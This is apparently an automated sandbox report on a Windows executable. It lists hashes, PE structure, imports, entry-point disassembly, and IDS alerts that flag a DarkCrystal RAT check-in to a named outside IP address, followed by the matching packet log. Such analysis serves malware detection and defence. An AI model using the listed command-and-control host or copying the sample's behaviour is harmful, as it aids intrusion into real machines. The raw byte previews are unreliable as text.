Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...G./g.............................'... ...@....@.. ....................................@.................................L'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..$.............................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.........#GUID....... ...#Blob...........WU........%3................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.8122873687382315
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXJMVhdNvoiCRvj:Vx993DEU4MndSiI
MD5:	C5BF8E2CE843574030E2D9E272D08B69
SHA1:	342D85DB462E0E423D9570D2372D128CE5A8B792
SHA-256:	88C280A1EF90652218466811FABEC2A09EA0A76F2C99E189B61A7702FF95276D
SHA-512:	CD8CCB28143D063B798BA2DF573D6F2FA5FF32AC249A7899927C86BB3EDA75AECD6A5DAA9A9CECCAEC1C29A15FA57593797AD29EFC35A38991D322CD1AC98914
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 09/11/2024 17:42:18..17:42:18, error: 0x80072746.17:42:23, error: 0x80072746.

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.18360996634611
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	t8xf0Y1ovi.exe
File size:	2'133'851 bytes
MD5:	38924c8184bf5944da2ac3e5cd987da2
SHA1:	1af0d4b729dd9c3a42c197a4ec961cab5722adda
SHA256:	e767887e30b91919d5dc1dd2bf79ed277c2778363732e7c84f42f1f1808e5908
SHA512:	225e25eb08a1abe529a4fc5eb435eb800145a782e3dbdd6ba1c28925f84d758c18111ed181649bd222d50fd4a44f1ede7e43c630a58ae9a92fd2074d3d306a61
SSDEEP:	24576:FcBmS1nneRYZwoKBU7ArlQUCeYIxerW33/XfV6jx9aP5VR/z0WcBS4bppmHVSqyW:9S4/ST6xijxsBEmHVSqFHOHqnCgXu8
TLSH:	94A59E5F83558776EC98B5FD29A1324F189FC1C4CDD48527289BA9CA9BC3C6E20F211E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...Y.)g.. .,.....'......"...\|................@............................... ....... ...`... ............................

File Icon


Icon Hash:	1741859232674f17

Static PE Info

General

Entrypoint:	0x4014b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6729E359 [Tue Nov 5 09:20:25 2024 UTC]
TLS Callbacks:	0x401ba0
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	cae935a353f1e1d8a2b7cf9cb53930b4

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [001B3045h]
mov dword ptr [eax], 00000001h
call 00007FB20CCEE04Fh
call 00007FB20CCED83Ah
nop
nop
dec eax
add esp, 28h
ret
nop word ptr [eax+eax+00000000h]
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [001B3015h]
mov dword ptr [eax], 00000000h
call 00007FB20CCEE01Fh
call 00007FB20CCED80Ah
nop
nop
dec eax
add esp, 28h
ret
nop word ptr [eax+eax+00000000h]
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007FB20CCEF48Ch
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007FB20CCEDB59h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 10h
dec eax
mov dword ptr [ebp+10h], ecx
dec eax
mov dword ptr [ebp+18h], edx
dec esp
mov dword ptr [ebp+20h], eax
dec esp
mov dword ptr [ebp+28h], ecx
dec eax
mov dword ptr [ebp-08h], 00000000h
jmp 00007FB20CCEDBBFh
dec eax
mov edx, dword ptr [ebp+10h]
dec eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1b8000	0x8bc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1bb000	0x45b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1b5000	0x294	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1b4100	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1b8224	0x1e8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2068	0x2200	3e3598c551412dde3c27346f2ca81da9	False	0.5654871323529411	data	5.9320992347193995	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4000	0x1af2f0	0x1af400	6a000643903a2ec0f0ea3701ae855b02	False	0.5955491394927537	dBase III DBT, version number 0, next free block index 10, 1st item "441323750224t13p3750224413237502\302</13237}0226443f\34235\\005$45132\315756224413237502244132375022441323750224413237502244a32325023441d23"	5.932966156815951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x1b4000	0x8f0	0xa00	0068fb65af94b63e85db3edc1107e3ac	False	0.262890625	data	4.4769889680287065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x1b5000	0x294	0x400	b228cff28f1d3c45bea6561af5b8b2cb	False	0.369140625	data	3.0684110511004534	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x1b6000	0x218	0x400	5ee8dad65f676aab582f7aae51a3ad92	False	0.2509765625	data	2.478270246400609	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x1b7000	0x980	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x1b8000	0x8bc	0xa00	397b873000b00a6ad022508f6f6f4426	False	0.323046875	data	3.979381339047958	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x1b9000	0x68	0x200	52d79e9aecf5d5c3145d3ec54aa197a8	False	0.0703125	data	0.2709192282599745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x1ba000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1bb000	0x45b8	0x4600	f84f0d9a93a1bca5822172b7b1731ab4	False	0.36813616071428573	data	5.390966238192412	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
/4	0x1c0000	0x440	0x600	46883cb7b9101b9a7da3d2bf36beafde	False	0.18424479166666666	data	1.3324523950804887	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/19	0x1c1000	0x3ef68	0x3f000	57322003a52429d2deebcd1264974568	False	0.27568514384920634	data	5.973637926418073	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/31	0x200000	0x2505	0x2600	4f8bb5bfe4fcb41a3741ddf0e512666f	False	0.177734375	data	4.564073246655985	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/45	0x203000	0x2383	0x2400	5b24de80c65cdcf405cc4843d9310b5d	False	0.2781032986111111	data	5.2537516104765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/57	0x206000	0xa18	0xc00	d3a5a324ceff44423c7f27e523afe60d	False	0.310546875	data	3.694006846250953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/70	0x207000	0x774	0x800	94f78a7397036465e2faa984c376acb1	False	0.38671875	data	4.6524913341164265	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/81	0x208000	0x29a6	0x2a00	c87ea93802371813487d22fbb576c149	False	0.20944940476190477	data	2.460931987915722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/92	0x20b000	0x470	0x600	84b31b04bc0526b9055124dff92f8cb2	False	0.19401041666666666	data	1.4591037075750117	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1bb0e8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.36620217288615964
RT_GROUP_ICON	0x1bf310	0x14	data	English	United States	1.1
RT_VERSION	0x1bf328	0x28c	PGP symmetric key encrypted data - Plaintext or unencrypted data	English	United States	0.4401840490797546

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CreateProcessA, DeleteCriticalSection, EnterCriticalSection, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetLastError, GetStartupInfoA, GetSystemTimeAsFileTime, GetTempFileNameA, GetTempPathA, GetTickCount, InitializeCriticalSection, LeaveCriticalSection, QueryPerformanceCounter, RtlAddFunctionTable, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsGetValue, UnhandledExceptionFilter, VirtualProtect, VirtualQuery, WaitForSingleObject

msvcrt.dll

__C_specific_handler, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _cexit, _fmode, _initterm, _onexit, abort, calloc, exit, fclose, fopen, fprintf, free, fwrite, malloc, memcpy, memset, perror, printf, puts, signal, strlen, strncmp, vfprintf

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-09T22:22:14.868236+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49730	185.50.25.59	80	TCP
2024-11-09T22:22:31.604684+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49734	TCP
2024-11-09T22:23:12.425705+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49849	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2024 22:22:13.803355932 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:13.808120012 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:13.810015917 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:13.810749054 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:13.815515041 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:14.166498899 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:14.171355009 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:14.727248907 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:14.868236065 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:14.888159037 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:14.888367891 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:14.888582945 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:15.120165110 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:15.125003099 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:15.219333887 CET	49731	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:15.224148989 CET	80	49731	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:15.224211931 CET	49731	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:15.224373102 CET	49731	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:15.229103088 CET	80	49731	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:15.404855967 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:15.440876007 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:15.445712090 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:15.571372032 CET	49731	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:15.576289892 CET	80	49731	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:15.576309919 CET	80	49731	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:15.576323032 CET	80	49731	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:15.787828922 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:15.868077993 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:15.899295092 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:15.904063940 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.144534111 CET	80	49731	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.183629990 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.191795111 CET	80	49731	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.191987038 CET	49731	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:16.195133924 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:16.200057983 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.200068951 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.437511921 CET	49731	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:16.438429117 CET	49732	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:16.442629099 CET	80	49731	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.442765951 CET	49731	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:16.443150043 CET	80	49732	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.443304062 CET	49732	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:16.443465948 CET	49732	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:16.448147058 CET	80	49732	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.542879105 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.664983988 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:16.790158033 CET	49732	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:16.795058012 CET	80	49732	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.795070887 CET	80	49732	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:16.795078993 CET	80	49732	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:17.375989914 CET	80	49732	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:17.416034937 CET	80	49732	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:17.416088104 CET	49732	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:18.051753998 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:18.051768064 CET	49732	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:18.052721977 CET	49733	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:18.056787014 CET	80	49730	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:18.056875944 CET	49730	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:18.057171106 CET	80	49732	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:18.057209969 CET	49732	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:18.057526112 CET	80	49733	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:18.057590008 CET	49733	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:18.057708979 CET	49733	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:18.062472105 CET	80	49733	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:18.415124893 CET	49733	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:18.420031071 CET	80	49733	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:18.420044899 CET	80	49733	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:18.420056105 CET	80	49733	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:18.988116980 CET	80	49733	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:19.045799017 CET	80	49733	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:19.045860052 CET	49733	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:20.830774069 CET	49737	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:20.835727930 CET	80	49737	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:20.835794926 CET	49737	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:20.835921049 CET	49737	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:20.840689898 CET	80	49737	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:21.180669069 CET	49737	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.185797930 CET	80	49737	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:21.185811043 CET	80	49737	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:21.185820103 CET	80	49737	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:21.566575050 CET	49739	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.571413994 CET	80	49739	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:21.571482897 CET	49739	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.571595907 CET	49739	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.576317072 CET	80	49739	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:21.593396902 CET	49737	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.598902941 CET	80	49737	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:21.598982096 CET	49737	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.776787996 CET	49733	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.930655003 CET	49739	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.935570002 CET	80	49739	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:21.935611010 CET	80	49739	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:21.969943047 CET	49740	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.974842072 CET	80	49740	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:21.975070000 CET	49740	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.975187063 CET	49740	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:21.980086088 CET	80	49740	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:22.321285009 CET	49740	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:22.326312065 CET	80	49740	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:22.326375961 CET	80	49740	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:22.326404095 CET	80	49740	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:22.506386995 CET	80	49739	185.50.25.59	192.168.2.4
Nov 9, 2024 22:22:22.550776005 CET	49739	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:22:22.554949045 CET	80	49739	185.50.25.59	192.168.2.4
